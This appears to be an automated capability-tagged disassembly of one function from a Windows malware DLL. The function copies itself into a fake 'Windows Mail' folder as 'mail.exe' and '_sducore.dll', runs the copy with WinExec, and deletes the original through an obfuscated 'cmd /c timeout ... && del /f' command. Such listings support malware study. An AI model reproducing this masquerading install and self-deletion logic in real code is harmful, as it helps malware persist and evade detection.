Function at 0x10001610
Capabilities:
Contain obfuscated stackstrings
Copy file
Create directory
Create process on windows
Get common file path
Self delete
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100110a9
mov eax, dword fs:[0]
push eax
sub esp, 0x350
mov eax, dword [0x1001c004]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
call fcn.100015c0
add eax, 0xfffffe00
cmp eax, 0x1f200
ja 0x10001c1c
call fcn.10001490
movzx eax, ax
test ax, ax
je 0x10001c01
cmp eax, 1
jne 0x10001687
sub esp, 0x18
mov ecx, esp
push str.zipdata.tmp
call fcn.10001f00
call fcn.10001030
add esp, 0x18
test eax, eax
je 0x10001c01
mov dword [ebp - 0x26c], 0xf
mov dword [ebp - 0x270], 0
mov byte [ebp - 0x280], 0
mov dword [ebp - 4], 0
mov dword [ebp - 0x2cc], 0xf
mov dword [ebp - 0x2d0], 0
mov byte [ebp - 0x2e0], 0
mov dword [ebp - 0x2b4], 0xf
mov dword [ebp - 0x2b8], 0
mov byte [ebp - 0x2c8], 0
mov dword [ebp - 0x254], 0xf
mov dword [ebp - 0x258], 0
mov byte [ebp - 0x268], 0
mov dword [ebp - 0x23c], 0xf
mov dword [ebp - 0x240], 0
mov byte [ebp - 0x250], 0
mov dword [ebp - 0x284], 0xf
mov dword [ebp - 0x288], 0
mov byte [ebp - 0x298], 0
mov dword [ebp - 0x2e4], 0xf
mov dword [ebp - 0x2e8], 0
mov byte [ebp - 0x2f8], 0
mov dword [ebp - 0x29c], 0xf
mov dword [ebp - 0x2a0], 0
mov byte [ebp - 0x2b0], 0
push 0x104
lea eax, [ebp - 0x134]
mov byte [ebp - 4], 7
push 0
push eax
call fcn.10007bd0
add esp, 0xc
lea eax, [ebp - 0x134]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
cmp byte [ebp - 0x134], 0
jne 0x100017a1
xor eax, eax
jmp 0x100017b9
lea eax, [ebp - 0x134]
lea edx, [eax + 1]
nop word [eax + eax]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x100017b0
sub eax, edx
push eax
lea eax, [ebp - 0x134]
push eax
lea ecx, [ebp - 0x2e0]
call fcn.100020e0
lea eax, [ebp - 0x134]
push eax
call dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecA]
cmp byte [ebp - 0x134], 0
jne 0x100017e6
xor ecx, ecx
jmp 0x100017f9
lea ecx, [ebp - 0x134]
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x100017f0
sub ecx, edx
push ecx
lea eax, [ebp - 0x134]
push eax
lea ecx, [ebp - 0x280]
call fcn.100020e0
push 0x104
lea eax, [ebp - 0x238]
push 0
push eax
call fcn.10007bd0
add esp, 0xc
lea eax, [ebp - 0x238]
push 1
push 0x1c
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
push str._sducore.dll
lea edx, [ebp - 0x280]
lea ecx, [ebp - 0x314]
call fcn.100028c0
add esp, 4
lea ecx, [ebp - 0x2c8]
push eax
call fcn.10001dd0
lea ecx, [ebp - 0x314]
call fcn.10001d60
cmp byte [ebp - 0x238], 0
jne 0x10001872
xor ecx, ecx
jmp 0x10001889
lea ecx, [ebp - 0x238]
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10001880
sub ecx, edx
push ecx
lea eax, [ebp - 0x238]
push eax
lea ecx, [ebp - 0x268]
call fcn.100020e0
push 0xa
push 0x10019fd0
lea ecx, [ebp - 0x268]
call fcn.10002310
push str.Windows_Mail
lea edx, [ebp - 0x268]
lea ecx, [ebp - 0x314]
call fcn.100028c0
add esp, 4
lea ecx, [ebp - 0x250]
push eax
call fcn.10001dd0
lea ecx, [ebp - 0x314]
call fcn.10001d60
push str.mail.exe
lea edx, [ebp - 0x250]
lea ecx, [ebp - 0x314]
call fcn.100028c0
add esp, 4
lea ecx, [ebp - 0x298]
push eax
call fcn.10001dd0
lea ecx, [ebp - 0x314]
call fcn.10001d60
push str._sducore.dll
lea edx, [ebp - 0x250]
lea ecx, [ebp - 0x314]
call fcn.100028c0
add esp, 4
lea ecx, [ebp - 0x2f8]
push eax
call fcn.10001dd0
lea ecx, [ebp - 0x314]
call fcn.10001d60
mov esi, dword [ebp - 0x26c]
lea ecx, [ebp - 0x280]
mov edx, dword [ebp - 0x280]
lea edi, [ebp - 0x280]
mov eax, dword [ebp - 0x270]
cmp esi, 0x10
cmovae ecx, edx
cmovae edi, edx
add eax, ecx
lea ecx, [ebp - 0x280]
cmp esi, 0x10
push edi
cmovae ecx, edx
push eax
push ecx
lea ecx, [ebp - 0x2fc]
call fcn.10002840
mov esi, dword [ebp - 0x23c]
lea ecx, [ebp - 0x250]
mov edx, dword [ebp - 0x250]
lea edi, [ebp - 0x250]
mov eax, dword [ebp - 0x240]
cmp esi, 0x10
cmovae ecx, edx
cmovae edi, edx
add eax, ecx
lea ecx, [ebp - 0x250]
cmp esi, 0x10
push edi
cmovae ecx, edx
push eax
push ecx
lea ecx, [ebp - 0x2fc]
call fcn.10002840
add esp, 0x18
lea eax, [ebp - 0x250]
cmp dword [ebp - 0x23c], 0x10
cmovae eax, dword [ebp - 0x250]
push dword [ebp - 0x240]
push ecx
push eax
lea ecx, [ebp - 0x280]
call fcn.10001ff0
cmp eax, 0xffffffff
je 0x100019fd
call fcn.100013b0
jmp 0x10001ba9
cmp dword [ebp - 0x254], 0x10
lea eax, [ebp - 0x268]
mov esi, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
cmovae eax, dword [ebp - 0x268]
push 0
push eax
call esi
push str.Windows_Mail
lea ecx, [ebp - 0x268]
call fcn.10001ce0
cmp dword [ebp - 0x254], 0x10
lea eax, [ebp - 0x268]
push 0
cmovae eax, dword [ebp - 0x268]
push eax
call esi
cmp dword [ebp - 0x284], 0x10
lea ecx, [ebp - 0x298]
mov esi, dword [sym.imp.KERNEL32.dll_CopyFileA]
lea eax, [ebp - 0x2e0]
cmovae ecx, dword [ebp - 0x298]
cmp dword [ebp - 0x2cc], 0x10
push 0
cmovae eax, dword [ebp - 0x2e0]
push ecx
push eax
call esi
cmp dword [ebp - 0x2e4], 0x10
lea ecx, [ebp - 0x2f8]
push 0
cmovae ecx, dword [ebp - 0x2f8]
lea eax, [ebp - 0x2c8]
cmp dword [ebp - 0x2b4], 0x10
push ecx
cmovae eax, dword [ebp - 0x2c8]
push eax
call esi
cmp dword [ebp - 0x284], 0x10
lea eax, [ebp - 0x298]
mov esi, dword [sym.imp.KERNEL32.dll_WinExec]
cmovae eax, dword [ebp - 0x298]
push 5
push eax
call esi
movaps xmm0, xmmword [str.cmd__c_timeout__C:WindowsSysWOC:WindowsSyste]
lea eax, [ebp - 0x30]
push eax
lea ecx, [ebp - 0x2b0]
mov dword [ebp - 0x20], 0x30312074
movups xmmword [ebp - 0x30], xmm0
mov dword [ebp - 0x1c], 0x20262620
mov dword [ebp - 0x18], 0x206c6564
mov byte [ebp - 0x14], 0
call fcn.10001d20
lea eax, [ebp - 0x2e0]
push eax
lea edx, [ebp - 0x2b0]
lea ecx, [ebp - 0x35c]
call fcn.100029f0
push str.__f__del
mov edx, eax
mov byte [ebp - 4], 8
lea ecx, [ebp - 0x344]
call fcn.100029a0
lea ecx, [ebp - 0x2c8]
mov byte [ebp - 4], 9
push ecx
mov edx, eax
lea ecx, [ebp - 0x32c]
call fcn.10002aa0
push 0x10019ff8
mov edx, eax
mov byte [ebp - 4], 0xa
lea ecx, [ebp - 0x314]
call fcn.100029a0
add esp, 0x10
lea ecx, [ebp - 0x2b0]
push eax
call fcn.10001dd0
lea ecx, [ebp - 0x314]
call fcn.10001d60
lea ecx, [ebp - 0x32c]
call fcn.10001d60
lea ecx, [ebp - 0x344]
call fcn.10001d60
lea ecx, [ebp - 0x35c]
call fcn.10001d60
cmp dword [ebp - 0x29c], 0x10
lea eax, [ebp - 0x2b0]
push 0
cmovae eax, dword [ebp - 0x2b0]
push eax
call esi
lea ecx, [ebp - 0x2b0]
call fcn.10001d60
lea ecx, [ebp - 0x2f8]
call fcn.10001d60
lea ecx, [ebp - 0x298]
call fcn.10001d60
lea ecx, [ebp - 0x250]
call fcn.10001d60
lea ecx, [ebp - 0x268]
call fcn.10001d60
lea ecx, [ebp - 0x2c8]
call fcn.10001d60
lea ecx, [ebp - 0x2e0]
call fcn.10001d60
lea ecx, [ebp - 0x280]
call fcn.10001d60
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10002b4c
mov esp, ebp
pop ebp
ret
push 0
push 0
push 0x10019f98
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]